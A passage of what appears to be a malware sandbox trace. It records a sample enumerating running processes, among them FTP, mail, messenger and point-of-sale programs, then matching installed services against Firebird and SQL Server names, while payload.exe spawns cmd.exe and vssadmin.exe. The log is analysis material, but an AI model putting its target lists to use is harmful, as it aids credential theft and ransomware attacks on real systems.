lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0050.677] lstrlenW (lpString="filezilla.exe") returned 13 [0050.677] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0050.678] lstrlenW (lpString="flashfxp.exe") returned 12 [0050.678] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0050.678] lstrlenW (lpString="fling.exe") returned 9 [0050.678] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0050.678] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0050.678] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0050.679] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0050.679] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0050.679] lstrlenW (lpString="icq.exe") returned 7 [0050.679] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0050.679] lstrlenW (lpString="leechftp.exe") returned 12 [0050.680] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0050.680] lstrlenW (lpString="ncftp.exe") returned 9 [0050.680] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0050.681] lstrlenW (lpString="notepad.exe") returned 11 [0050.681] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0050.681] lstrlenW (lpString="operamail.exe") returned 13 [0050.681] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0050.682] lstrlenW (lpString="pidgin.exe") returned 10 [0050.682] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0050.682] lstrlenW (lpString="scriptftp.exe") returned 13 [0050.682] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0050.791] lstrlenW (lpString="skype.exe") returned 9 [0050.791] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0050.819] lstrlenW (lpString="smartftp.exe") returned 12 [0050.819] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0050.819] lstrlenW (lpString="thunderbird.exe") returned 15 [0050.819] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0050.820] lstrlenW (lpString="totalcmd.exe") returned 12 [0050.820] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0050.821] lstrlenW (lpString="trillian.exe") returned 12 [0050.821] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0050.821] lstrlenW (lpString="webdrive.exe") returned 12 [0050.821] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0050.822] lstrlenW (lpString="whatsapp.exe") returned 12 [0050.822] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0050.822] lstrlenW (lpString="winscp.exe") returned 10 [0050.822] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0050.823] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0050.823] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0050.823] lstrlenW (lpString="active-charge.exe") returned 17 [0050.823] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0050.824] lstrlenW (lpString="accupos.exe") returned 11 [0050.824] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0050.824] lstrlenW (lpString="afr38.exe") returned 9 [0050.824] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0050.825] lstrlenW (lpString="aldelo.exe") returned 10 [0050.825] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0050.825] lstrlenW (lpString="ccv_server.exe") returned 14 [0050.825] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0050.826] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0050.826] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0050.826] lstrlenW (lpString="creditservice.exe") returned 17 [0050.826] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0050.827] lstrlenW (lpString="edcsvr.exe") returned 10 [0050.827] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0050.827] lstrlenW (lpString="fpos.exe") returned 8 [0050.828] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0050.828] lstrlenW (lpString="isspos.exe") returned 10 [0050.828] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0050.828] lstrlenW (lpString="mxslipstream.exe") returned 16 [0050.828] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0050.829] lstrlenW (lpString="omnipos.exe") returned 11 [0050.829] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0050.829] lstrlenW (lpString="spcwin.exe") returned 10 [0050.829] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0050.830] lstrlenW (lpString="spgagentservice.exe") returned 19 [0050.830] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0050.830] lstrlenW (lpString="utg2.exe") returned 8 [0050.830] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending-chronicles.exe")) returned 1 [0050.831] lstrlenW (lpString="pending-chronicles.exe") returned 22 [0050.831] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="um-classroom-barry.exe")) returned 1 [0050.831] lstrlenW (lpString="um-classroom-barry.exe") returned 22 [0050.831] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="notebook.exe")) returned 1 [0050.832] lstrlenW (lpString="notebook.exe") returned 12 [0050.832] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="stable_platform_spend.exe")) returned 1 [0050.832] lstrlenW (lpString="stable_platform_spend.exe") returned 25 [0050.832] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="current.exe")) returned 1 [0050.833] lstrlenW (lpString="current.exe") returned 11 [0050.833] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0050.833] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0050.833] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0050.834] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0050.834] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0050.834] lstrlenW (lpString="taskhost.exe") returned 12 [0050.834] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0050.835] lstrlenW (lpString="payload.exe") returned 11 [0050.835] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0050.835] lstrlenW (lpString="cmd.exe") returned 7 [0050.835] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0050.835] lstrlenW (lpString="conhost.exe") returned 11 [0050.835] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x714, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0050.836] lstrlenW (lpString="vssadmin.exe") returned 12 [0050.836] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0050.836] lstrlenW (lpString="VSSVC.exe") returned 9 [0050.836] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.837] lstrlenW (lpString="svchost.exe") returned 11 [0050.837] Process32NextW (in: hSnapshot=0x208, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0050.837] CloseHandle (hObject=0x208) returned 1 [0050.837] Sleep (dwMilliseconds=0x1f4) [0052.009] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x8ffac8 [0052.021] EnumServicesStatusExW (in: hSCManager=0x8ffac8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0) returned 0 [0052.022] GetLastError () returned 0xea [0052.022] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x12c6) returned 0x974238 [0052.022] EnumServicesStatusExW (in: hSCManager=0x8ffac8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x974238, cbBufSize=0x12c6, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x974238, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0) returned 1 [0052.023] CloseServiceHandle (hSCObject=0x8ffac8) returned 1 [0052.023] lstrlenW (lpString="Appinfo") returned 7 [0052.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0052.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0052.023] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0052.023] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0052.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0052.023] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0052.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0052.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0052.023] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0052.023] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0052.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0052.023] lstrlenW (lpString="AudioSrv") returned 8 [0052.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0052.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0052.023] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0052.023] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0052.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0052.023] lstrlenW (lpString="BFE") returned 3 [0052.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0052.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0052.023] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0052.023] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0052.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0052.024] lstrlenW (lpString="CryptSvc") returned 8 [0052.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0052.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0052.024] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0052.024] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0052.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0052.024] lstrlenW (lpString="CscService") returned 10 [0052.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0052.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0052.024] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0052.024] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0052.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0052.024] lstrlenW (lpString="DcomLaunch") returned 10 [0052.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0052.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0052.024] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0052.024] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0052.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0052.024] lstrlenW (lpString="Dhcp") returned 4 [0052.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0052.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0052.024] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0052.024] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0052.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0052.024] lstrlenW (lpString="Dnscache") returned 8 [0052.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0052.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0052.024] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0052.024] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0052.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0052.024] lstrlenW (lpString="DPS") returned 3 [0052.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0052.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0052.024] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0052.024] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0052.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0052.024] lstrlenW (lpString="eventlog") returned 8 [0052.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0052.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0052.024] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0052.024] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0052.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0052.024] lstrlenW (lpString="EventSystem") returned 11 [0052.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0052.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0052.024] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0052.024] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0052.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0052.024] lstrlenW (lpString="gpsvc") returned 5 [0052.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0052.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0052.024] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0052.025] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0052.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0052.025] lstrlenW (lpString="iphlpsvc") returned 8 [0052.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0052.025] lstrcmpiW 